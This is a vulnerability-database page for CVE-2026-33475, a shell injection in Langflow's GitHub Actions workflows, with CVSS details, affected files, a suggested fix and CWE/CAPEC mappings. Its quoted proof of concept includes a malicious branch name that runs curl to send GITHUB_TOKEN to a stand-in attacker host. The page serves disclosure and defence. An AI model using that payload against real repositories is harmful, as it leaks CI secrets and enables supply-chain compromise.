CVE-2026-33475 in Langflow
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) ...
Affects 1 product from 1 vendor. Facts below cite their sources.
Remotely exploitable over the network, low complexity, no authentication required, no user interaction needed, impact contained to the vulnerable component, full confidentiality impact, full integrity impact, no availability impact.
Affected products and versions
| Vendor | Product | Affected versions |
|---|---|---|
| Langflow | Langflow | < 1.9.0 |
A product listed here is affected only at the versions shown. Use the free check to test the exact version you run.
Fix and vendor advisory
No official vendor advisory link on record. See the CVE record.
Vendor PSIRT: [email protected]
Exploitation
| CISA known-exploited | Not in the CISA KEV catalog |
|---|---|
| Public exploit | Not confirmed |
Official description
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Source: NIST NVD / MITRE CVE.
Record details
| CVE ID | CVE-2026-33475 |
|---|---|
| BreachSpider ID | BS-2026-GLOBAL-150956-C |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Published | 2026-03-24 |
| Last modified | 2026-06-17 |
| Weakness (CWE) | |
| Source | NVD |
Weakness definitions
CWE-74: Injection
Parent class for all injection vulnerabilities where attacker-supplied data is interpreted as code or commands.
CWE-78: OS Command Injection
Attacker injects OS commands through application inputs passed to system() or equivalent calls, leading to arbitrary command execution.
Related attack patterns (CAPEC)
CAPEC-3 Using Leading 'Ghost' Character Sequences to Bypass Input Filters via CWE-74
CAPEC-7 Blind SQL Injection via CWE-74
CAPEC-8 Buffer Overflow in an API Call via CWE-74
CAPEC-9 Buffer Overflow in Local Command-Line Utilities via CWE-74
CAPEC-10 Buffer Overflow via Environment Variables via CWE-74
Show all 39
CAPEC-13 Subverting Environment Variable Values via CWE-74
CAPEC-14 Client-side Injection-induced Buffer Overflow via CWE-74
CAPEC-24 Filter Failure through Buffer Overflow via CWE-74
CAPEC-34 HTTP Response Splitting via CWE-74
CAPEC-42 MIME Conversion via CWE-74
CAPEC-43 Exploiting Multiple Input Interpretation Layers via CWE-74, CWE-78
CAPEC-45 Buffer Overflow via Symbolic Links via CWE-74
CAPEC-46 Overflow Variables and Tags via CWE-74
CAPEC-47 Buffer Overflow via Parameter Expansion via CWE-74
CAPEC-51 Poison Web Service Registry via CWE-74
CAPEC-52 Embedding NULL Bytes via CWE-74
CAPEC-53 Postfix, Null Terminate, and Backslash via CWE-74
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic via CWE-74
CAPEC-67 String Format Overflow in syslog() via CWE-74
CAPEC-71 Using Unicode Encoding to Bypass Validation Logic via CWE-74
CAPEC-72 URL Encoding via CWE-74
CAPEC-76 Manipulating Web Input to File System Calls via CWE-74
CAPEC-78 Using Escaped Slashes in Alternate Encoding via CWE-74
CAPEC-79 Using Slashes in Alternate Encoding via CWE-74
CAPEC-80 Using UTF-8 Encoding to Bypass Validation Logic via CWE-74
CAPEC-83 XPath Injection via CWE-74
CAPEC-84 XQuery Injection via CWE-74
CAPEC-101 Server Side Include (SSI) Injection via CWE-74
CAPEC-105 HTTP Request Splitting via CWE-74
CAPEC-108 Command Line Execution through SQL Injection via CWE-74, CWE-78
CAPEC-120 Double Encoding via CWE-74
CAPEC-273 HTTP Response Smuggling via CWE-74
CAPEC-6 Argument Injection via CWE-74, CWE-78
CAPEC-15 Command Delimiters via CWE-78
CAPEC-88 OS Command Injection via CWE-78
CAPEC-135 Format String Injection via CWE-74
CAPEC-250 XML Injection via CWE-74
CAPEC-267 Leverage Alternate Encoding via CWE-74
CAPEC-28 Fuzzing via CWE-74
Mapping is CWE to CAPEC per MITRE CAPEC 3.9.
Analysis AI-written, not human-reviewed
An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0, allowing attackers to inject and execute arbitrary shell commands.
The vulnerability arises from unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in `run:` steps of GitHub Actions workflows. Attackers can exploit this by manipulating the context variables to inject malicious shell commands.
Questions
What is CVE-2026-33475?
An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0, allowing attackers to inject and execute arbitrary shell commands.
What is the CVSS score for CVE-2026-33475?
CVE-2026-33475 has CVSS 9.1 (Critical). Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. EPSS: 2.4%.
Is CVE-2026-33475 actively exploited?
No confirmed active exploitation of CVE-2026-33475 as of 2026-09-25.
How do I remediate CVE-2026-33475?
Priority: IMMEDIATE. PSIRT: [email protected]
What systems are affected by CVE-2026-33475?
CVE-2026-33475 affects Langflow Langflow.
For developers and AI agents
Run this check from your own code or agent
REST API
curl -s https://breachspider.com/api/v1/assets/correlate-cves \
-H "Authorization: Bearer $BREACHSPIDER_API_KEY" \
-H "Content-Type: application/json" \
-d '{"assets":[{"asset_id":"dev-1","vendor":"Langflow","product":"Langflow","version":"1.0"}]}'
MCP for AI agents
# hosted: add as a connector
https://mcp.breachspider.com/mcp
# local
pipx install breachspider-mcp
Free trial: 14 days, 750 device checks, no card.
Page facts from NVD, MITRE, CISA and vendor advisories, record last modified 2026-06-17.